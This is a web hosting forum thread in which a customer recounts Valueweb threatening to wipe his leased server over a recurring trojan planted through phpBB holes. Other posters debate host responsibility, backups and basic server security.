Page 1 of 2 12 LastLast
Results 1 to 25 of 34
  1. #1
    Join Date
    Mar 2004
    Posts
    98

    Valueweb: A greater threat than hackers

    On June 6th Valueweb discovered that a trojan program was placeds on our machine. They informed me about it, and said that if I did not remove it immediately that they would remove the server and clear the drives.

    I quickly removed the file, and then went through the system and finally discovered a security hole in a phpBB board and patched it. I informed them that the fix was completed, and they agreed that the problem was fixed.

    Then on June 10th Valueweb contacted us again and said that they were going to take the computer off line and clear the hard drive because they found the file again. Appearently, the hacker had discovered another security hole and used it to reinstall the trojan. So I located the file again, and since it was being placed on a domain that we no longer use, I took the entire domain down and removed the directories to it. I then called them to let them know what I had done, and also sent them an email detailing the actions taken.

    Two hours later, someone from their support department called and left a message saying that they were going to take the server off line and delete everything on the hard drives. I immediately called them and the conversation when something like this:

    Me: I don't understand what you are talking about, I've removed the file and completely took down the application which provided the security hole.

    Support: The file is still there and we are going to pull the system off line very soon.

    Me: Where? Where is the file? I'm looking in there now! I even renamed the directory so that the directory path no longer exists!

    Support: We are not at liberty to tell you where the file is or what its name is.

    Me: You're not WHAT?!! You claim that you are still finding the file on the machine, but you won't even tell me where it is located???

    Support: That's correct, we are not at liberty to do so for security reasons.

    Me: That's ********!!! What security reasons??? I'm the one leasing ******* machine for christ's sake! You guys say there is a problem but you won't tell me where, and you are going to destroy everything on the drive unless I remove something which you won't tell me where or what it is! Well, exactly WHO ARE YOU at liberty to disclose this information to?!!

    Support: I am not permitted to disclose that information at this time.

    Me: At this time? What in the hell does time have to do with this? I want to speak to a supervisor.

    Support: Errr... Alright, we can do that. But.. ummm... what do you want to speak to the supervisor about?

    Me: I want to know who is authorized to know where this file is that you claim resides on the server.

    Support: Alright, please hold for a moment...



    At this point I am at a murderous rage. I wanted nothing more than to march into their office and play the role of the loud and dangerous crazy client tearing up the reception area.



    Support: Hello... The supervisor is in a meeting and can not come to the phone right now.

    Me: Well, how about letting me talk to the guy in security who claims to have found this file?

    Support: You can't talk to them directly, only through us.

    Me: So you're saying that these guys can issue claims and threats to completely destroy the system, but I am not even allowed to talk with them directly about it???

    Support: That is correct... Hold on please... I'm getting an email from the security department now.... Just a moment...

    Support: OK, he says that they've now determined that the file is no longer present, but warns that if it is found again that they will take the system down within an hour of its discovery and clean the drive.

    Me: I didn't even place the ******* file on there! I'm a customer, you guys claim that you are going to wipe the drive after I removed the file, and then tell me that you see the fix, but will take down the system at any moment without notice.

    Support: Well, we have a strict security policy that we much adhere to.

    Me: And one which appears to be crafted with the notion in mind that is designed against your own customers. Look, you guys know that I didn't put that file on there. YOU KNOW THAT. And I have responded in a timely fashion to remedy the problem each time. Your priorities are screwed up. You should be assisting your customer in addressing a problem that they are having as a first priority, and worrying about someone outside of your network who is in Brazil as your second priority.

    Me: But appearently, you folks see your role solely as protecting the outside world who is not paying you, from your paying customers who ARE paying you.

    END OF CALL...



    This makes about as much sense to me as if: someone broke into your house and used the telephone. Then your landlord arrives and tells you that if you do not find out who they called that they will burn your house down in one hour.


    I've been running servers through hosting farms ever since 1996 when Digital Nation was among the first to offer the service commercially. There has been times where I have dealt with ********, but this goes totally off of the charts!!!


    There is no question that an AUP is necessary and must be followed in this business. But I didn't place the file there, and I even took the domain down to eliminate any further problems. More important though, was that Valueweb intended to not only to take the system offline, but to wipe the hard drive contents without allowing us to recover our business data from it. (I wonder how Valueweb would feel if they suddenly found their account receivables held under thread of deletion?)

    Our services are built under a lot of custom coding, and takes some time to bring up on a new system. But there was no question that Valueweb's business policies see no value residing on their customer's hard drives. So we bit the bullet and migrated to another data center.


    There are many things which can effect your online business: hackers, hardware failures, network outages, and so on. But this is the first time that a data center themselves was a greatest threat to our business.

  2. #2
    Join Date
    Jun 2002
    Location
    Waco, TX
    Posts
    5,623
    I think you need to calm down and watch your language a bit, you typically get better replies and more understanding with you take the high road.

  3. #3
    Join Date
    Mar 2004
    Posts
    98
    You'll notice that I cursed only once. But I think that you would be cursing too if someone was telling you that they were going to deleted your business system within the hour, and that there was nothing that you could do about it.

  4. #4
    Join Date
    Jul 2004
    Location
    New York, NY
    Posts
    2,181
    1) Do a backup

    2) Get a new host
    ServGrid - www.servgrid.com - Affordable and Reliable SSD Cloud Solutions
    Premium 10G Network, 2(N+1) Powerplant and SSD Performance
    Web, Reseller, KVM VPS, Storage and Private Cloud Hosting
    Click here to see our SSD Benchmarks!

  5. #5
    Join Date
    Nov 2004
    Location
    NYC
    Posts
    208
    if it was me, i would get red after then when im finish with red and there is no more i would take my biz to some place else..they dont need me to eat and i dont need them for a thing..

    sory to hear that Ishtaria
    el Dutty-Dutty

  6. #6
    Sorry, I'm not at liberty to comment on this post at this time.

    I wonder, who they are at liberty to disclose the file name to?

  7. #7
    Join Date
    Jan 2005
    Posts
    2,203
    I haven't seen one good review of Valueweb here.

  8. #8
    Join Date
    Apr 2005
    Location
    silicon and earthquakes
    Posts
    258
    Yes, as The Broadband Man said, always have an offsite backup. Cannot stress that enough.

  9. #9
    Join Date
    Mar 2004
    Posts
    98
    It's not just a matter of having things backed up, its more fundimental than that.

    Valueweb's response was overtly hostile towards the wellbeing of our business.

    It's one thing to say "we lost your data." But it's a completely different thing to say, "we are going to willfully destroy your data and system, prevent you from having access to it."

  10. #10
    I've been with Valueweb for about 3 years and I think they are great. Every issue i've had, they've dealt with rather well.

  11. #11
    Let's assume for a moment that Valueweb didn't take a hard approach with you. Let's also assume that the exploit that was uploaded to your server was permitted to remain long enough for the skript kiddie who put it there to start using it to attack other servers.

    Now, if most sysadmins are like me (and since I know most of them, I can say that they are), the slightest sign of an attack from a remote host usually merits a DENY rule in the firewall for the entire netblock that the malicious host lives on. So, tell me which sounds better for Valueweb: risk losing one client, or risk finding themselves blocked by large chunks of the internet?

    One other question: why is it Valueweb's fault that you can't keep your box secure?

  12. #12
    Join Date
    Mar 2004
    Posts
    98
    LX805,

    I removed the file as soon as I was aware that it was there, and I patched the only piece of software that we ran which could have caused it.

    The second time that it occurred, I took the whole domain down, along with the software and the directory branch. Everything else on the system is propritary software, which we are certain was not at fault because the logs showed no access which included the file name.

    Let's assume for a moment that Valueweb didn't take a hard approach with you. Let's also assume that the exploit that was uploaded to your server was permitted to remain long enough for the skript kiddie who put it there to start using it to attack other servers.
    Now let's assume for a moment that you actually read what I've written. My response to the situation was rapid, with the second one being all inclusive.

    And even IF I didn't do anything at all, there is a massive difference between taking a system off line, and wiping out all of the drive's contents.

    You do understand the difference between the two, yes? This was not a threat to take the system off line (which would address the problem if no other solution was offered), it was a threat to destroy all contents AFTER taking it off line.

    One other question: why is it Valueweb's fault that you can't keep your box secure?
    And how exactly do you know that you system is secure? We follow standard security procedures, audit logs, obtain the latest patches, and keep up with general security issues.

    This is the first time in 9 years that we have had a system compromised. Your system security is only as good as the current state of knowledge about your system. So I wouldn't be so smug if I were you.

  13. #13
    Greetings:

    "And how exactly do you know that you system is secure? We follow standard security procedures, audit logs, obtain the latest patches, and keep up with general security issues."

    While a good place to start, these are only small portions of being secure on the Internet.

    Have you been able to track down the file(s) Value Web states are still present (not that they are correct)?

    Thank you.
    ---
    Peter M. Abraham
    LinkedIn Profile

  14. #14
    Join Date
    Apr 2005
    Location
    Under The Floor Tiles
    Posts
    566
    Doctor: "You have cancer. We just don't want to tell you where."

    You'd best listen to the other posters.
    1) Grab your files.
    2) Run like the wind.

    Excuse my french, but what the HELL kind of excuse is that? "We are not at liberty to tell you where the file is or what its name is." That's like saying, "Yeah, I have a 2005 Lamborghini Murcielago in my garage. I just can't let anybody see it."
    Last edited by danclough; 07-01-2005 at 01:27 PM.
    "When a man begins to doubt himself, he does something incredibly stupid and thereby is reassured."
    ::http://www.dustytech.net/:: Personal Website

  15. #15
    Join Date
    Jul 2005
    Posts
    447
    When there is no love being served it's time to leave the table. Follow the Light, engage feet and start walking.

  16. #16
    Join Date
    Jan 2005
    Location
    Scotland, UK
    Posts
    2,681
    Well as for him cursing. You would be too if this happened too you.

    People are correct get a new host.

    This at liberty crap is a fancy way of saying, "I am too stupid and I have no idea what you are talking about."

    If they are so incompetant of even checking if a file still exists then they are not good enough for you. Further to that, you have done as they asked, you removed the files and patched whatever caused the problems, weather they like it or not these things happen and you sorted it.

    As for reloading your server, that is downright appalling that they even threatened to do such an act when you removed the files.
    Server Management - AdminGeekZ.com
    Infrastructure Management, Web Application Performance, mySQL DBA. System Automation.
    WordPress/Magento Performance, Apache to Nginx Conversion, Varnish Implimentation, DDoS Protection, Custom Nginx Modules
    Check our wordpress varnish plugin. Contact us for quote: sales@admingeekz.com

  17. #17
    Join Date
    Jul 2002
    Posts
    3,374
    usually once a server is comprised. data on the server should not be trusted even if you patch it.

    just saying.

  18. #18
    Join Date
    Nov 2004
    Location
    Australia
    Posts
    1,737
    Actually, in my opinion, a more reasonable response from ValueWeb might have been:

    "if this is found again on your server we will need to block http, smtp and pop ports on it until you fix the problem. We charge $XX per hour to fix security problems." Another alternative, at their discretion, would be for them to offer to find how the hackers were breaking in. Of course, offering to find the problem for free is kind of going beyone the call of duty, but it's far and away more friendly than threatening to wipe the server.

    The "I'm not at liberty to reveal" stuff is just secret code talk from an incompetent customer service officer who (I suspect) was trying to conceal that he/she had absolutely no idea where the files were or what they were called.

    On completely another point, it would be unwise to use this thread to evaluate Valueweb. I find it hard to beleive we've heard both sides of the story; it does seem rather strange to beleive that a reputable server company would threaten to erase disks on a first occurrence. If they did, they've lost it, hence why I find it hard to beleive we've got both sides here. This is just an observation, please take it as that, I'm not intending to be discourteous.
    Last edited by brianoz; 07-02-2005 at 12:12 PM.

  19. #19
    Join Date
    Jun 2005
    Location
    Fostoria, Ohio
    Posts
    91
    Lets not forget that this may be one rogue customer support person who thinks that they are god. As we have all found out at one time or another with many companies on or off the web you run across these people since they are not the one that owns the business they absolutely do not care about you as the customer nor anyone else. Their only goal is to take their paycheck home at the end of the week. The reason you really probably did not get a supervisor is that if you did get one and they found out about this situation then that person would have been fired or reprimanded. It is probably not the first time that they have done this either. You should honestly have your site backed up and I am sure you do. And I would have been upset with that person as well and demanded to talk to a manager as well. Also if that resolved nothing than I would have moved my business elsewhere. There are many hosting companies that would love to have your business and take care of you the way that you need to be. Just remember that there is no such thing as a perfect company, but there are some that need to go away.
    Spyderhost Email contact: sales@spyderhost.support
    Shared & Cloud Hosting | WordPress Hosting | Dedicated Servers | VPS | Windows & Linux | cPanel

  20. #20
    I have servers at ValueWeb and two other "low cost" dedicated providers. ValueWeb does not wipe your hard drive when viruses are found. They give you a certain amount of time to fix the problem before they take your server offline. If the problem is not fixed within the allotted time -- or they get a second round of complaints -- they'll pull your machine offline and offer you a reinstall.

    It's really not their responsibility to secure your machine, or tell you where a virus may be. It could take hours trying to track down a virus and make sure a machine is clean. That is not their responsibility. With some hacks or viruses, you can never be sure -- outside of a reinstall.

    Most of the complaints about hacked servers come from other ISPs, system administrators of other servers, banks (for phishing sites), law enforcement, and people getting nailed with spam.

    While you're yelling on the phone about them not turning off your server, someone else is yelling at them for not doing anything about it. If they don't act in a timely manner, it can result in other servers being compromised or entire IP ranges being blocked by their upstream providers, or other ISPs.

    For you other folks who have commented... If your server can no longer access the internet (due to your IP range being blocked) because of someone else's machine, how patient would YOU be until THEY can get it fixed? One day? Two days? A week?

    It does not matter who put the virus on the machine. The fact is that it's on the machine and the person responsible for fixing it is the system administrator of that machine -- unless you're paying for managed hosting.

    None of the low-cost dedicated hosting providers will spend hours trying to fix your machine. That's "managed hosting," and ValueWeb does not provide managed hosting -- last I checked. A good managed hosting company is RackSpace.com. But you're going to pay three times as much as you would at ValueWeb, RackShack, Server4you and 1and1hosting.com.

    I am no unix guru, but I have good list of support forums I consult, and a couple system admins I can pay if I have to. I've also paid www.4psa.com for support on occasion – they are awesome with Plesk.

    Rather than wait for the big hack, compromise, or failure -- make sure you install tools and procedures to mitigate your risks. For unix machines, that would include tools like portsentry, iptables, and MRTG (to monitor your bandwidth), and a good backup that YOU’VE ACTUALLY TESTED in a test restore. You’d be surprised at what you think you’ve backed up, to what is actually there. Also learn how to read your server logs.

    You can find step-by-step "how to's" on how to do all this stuff in the various support forums online.

  21. #21
    Join Date
    Aug 2002
    Location
    Stony Plain, AB
    Posts
    607
    Well,

    That could be the worst "customer service" ive ever read about.

    - Eddy
    Tired of jumping web hosting providers? Tired of OVERSELLING? Tired of Poor service/quality?
    Are you Finally realizing You Get What You Pay For In Life?
    If So...Please Visit ***** eServicesUnlimited***** - We Guarantee 100% Satisfaction we promise that!

  22. #22
    Join Date
    May 2005
    Location
    New York
    Posts
    737
    post above, you missed a valuable point

    they OFFER a reinstall, not threaten immediate deletion
    Plus
    They were essentially threatening this on absolutely no proof whatsoever that there was ANY security breach.

    How do you know if they arent confusing your system, or there isnt some sort of miscommunication occuring. something this serious needs to be dealt with better. as for repeated breaches WITH proof, i would have thought that network blocking, followed by a data backup, followed by an OS reload with a nice fee OR take your data and leave us with 2 hours, or something similar
    Perigee Global Corporation
    Design, Development and Hosting Solutions
    Dedicated Servers, CDN, Hosted E-Mail, Web Hosting, VPS & Cloud Servers
    1.212.400-7632 www.perigeeglobal.com

  23. #23
    Join Date
    May 2003
    Posts
    1,708
    I would say run and your reaction was not inappropriate. It is rediculous to tell someone you found a security problem, but we aren't going to tell you where because we are going to delete the server. That is grounds for legal action if they did do something to be honest. I would back my files up and get away from them. Pick another budget provider and go.

    On the security problem phpBB keeps getting hit month after month after month this year. It is hard to keep up with their problems, but customers want to use it. You can do things for your servers to block about 95% of the phpBB exploits, but that 5% will sure hit you if you aren't careful. We offer our customers free by hand upgrades for phpBB within 7 days of every exploit being announced and after that we disable the boards that aren't updated. It is harsh, but you HAVE to keep up with security on your servers.
    ~~~~~~~~~~~~~~~~~~~~~
    UrNode - Virtual Solutions
    http://www.UrNode.com

  24. #24
    Join Date
    Mar 2004
    Posts
    98
    Originally posted by vikvaliant
    I have servers at ValueWeb and two other "low cost" dedicated providers. ValueWeb does not wipe your hard drive when viruses are found. They give you a certain amount of time to fix the problem before they take your server offline. If the problem is not fixed within the allotted time -- or they get a second round of complaints -- they'll pull your machine offline and offer you a reinstall.

    It's really not their responsibility to secure your machine, or tell you where a virus may be. It could take hours trying to track down a virus and make sure a machine is clean. That is not their responsibility. With some hacks or viruses, you can never be sure -- outside of a reinstall.

    Most of the complaints about hacked servers come from other ISPs, system administrators of other servers, banks (for phishing sites), law enforcement, and people getting nailed with spam.

    While you're yelling on the phone about them not turning off your server, someone else is yelling at them for not doing anything about it....
    Why is it that corporate apologists always have extremely poor reading comprehension? Your response has very little to do with what I posted, and is a rant about some hypothetical character whining about not getting support for a hacker problem. If you want a strawman to argue with go get one. But I'm not going to play the role for you.

    "I have servers at ValueWeb and two other "low cost" dedicated providers. ValueWeb does not wipe your hard drive when viruses are found. They give you a certain amount of time to fix the problem before they take your server offline. If the problem is not fixed within the allotted time -- or they get a second round of complaints -- they'll pull your machine offline and offer you a reinstall."

    OK, I will repeat: The Valueweb rep. told me on the telephone that they will wipe the hard drive on the server I was leasing.

    Nothing hard to understand about that sentence, is there?

    But YOU are telling me that Valueweb will not wipe the drive. But you are not a Valueweb rep., and are basically some guy that has two servers with them.

    Somehow Vik, your valiant post just lacks any credibility. Especially since I have never sent one check to you, but I have several years worth of checks with Valueweb's name on them.

  25. #25
    Join Date
    Mar 2004
    Posts
    98
    Originally posted by dynamicnet
    Greetings:

    "And how exactly do you know that you system is secure? We follow standard security procedures, audit logs, obtain the latest patches, and keep up with general security issues."

    While a good place to start, these are only small portions of being secure on the Internet.

    Have you been able to track down the file(s) Value Web states are still present (not that they are correct)?

    Thank you.
    Hi dynamicnet,

    My comment was in response to LX805's "for the grace of god go I" theme in his post. There is no such thing as absolute security, it is relative. No one is bulletproof, including Mr. LX805's servers.

    Case in point, last year someone compromised a DOD router in California. From there they were able to gain access to both internal DOD computers and several NASA research computers. Although the compromise has been reported publicly, neither the DOD nor NASA have disclosed the extent of the damage that has been done.

    The security in place on that DOD network far exceeds anything that any of "us" could provide.

    As I mentioned, this is the first time one of my online systems have been broken into. But my focus has been protecting client data and using strongly encrypted database records, and such. What occurred was not really a "break in" per say, but a plant which was intended to be utilized externally to attack windows machines (this was a linux system).

    Our self-defence is based on redundency and self auditing (we write these systems ourselves), along with maintaining the environment to known standards. But this has been solely from the viewpoint of detecting attempts at accessing our data. (I helped work on securing CDC databases used in epidemiology surveillance studies.)

    The problem with a great deal of the software (e.g., phpBB) is that they do not secure their command lines (hyperlinks). And as a result, it is not difficult for someone to find a loophole and inject a command using a modified command line in the URL.

    Since the geniuses who write software firewalls and browsers have decided that "page referrer" information is a security threat and prevent it from being returned to the server (even if they originate from the same domain), such injections can't be stopped by relying on identifying the referring page origins. But there are other ways to prevent it.

    I posted on their support forum some time ago about the idea of encrypting command lines so that it is not possible to tamper with them. The response was basically a whinny "we don't wanna.." with no technical argument countering my proposal. (I even offered to write the encryption/decryption layer, and fold it into their software.) I've used this exact same scheme in some public health services software that I've worked on, and it is bulletproof for all practical purposes.


    Anyway, regarding your question about the trojan, I found a windows file located within a domain that we had stopped using some time ago. I deleted the domain and the entire directory branch it existed. Not only was it removed, but the whole directory structure was absent two hours before the telephone call mentioned in my first post.

    What got my dander up was the notion that both our data and our software installation could be treated as some kind of bargaining chip. Especially after we had addressed the problem in under one hour, and after the fact since the file had already been remove some time before the telephone call.

    Our client data has definite value to our business model, and our software is resource intensive to install (there is a good deal of complex integration into the OS). Backups are fine, but they don't address the complexities of the installation (which is partially that way due to the self-protective scheme that we are using). These web kids who just grab software off of the net and run it can't grasp that notion.


    All in all though, it wasn't the fact that a security issue had been flagged, I appreciated that aspect. It was the sense that our business environment was considered "disposable" which convinced us to move everything elsewhere.

Page 1 of 2 12 LastLast

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •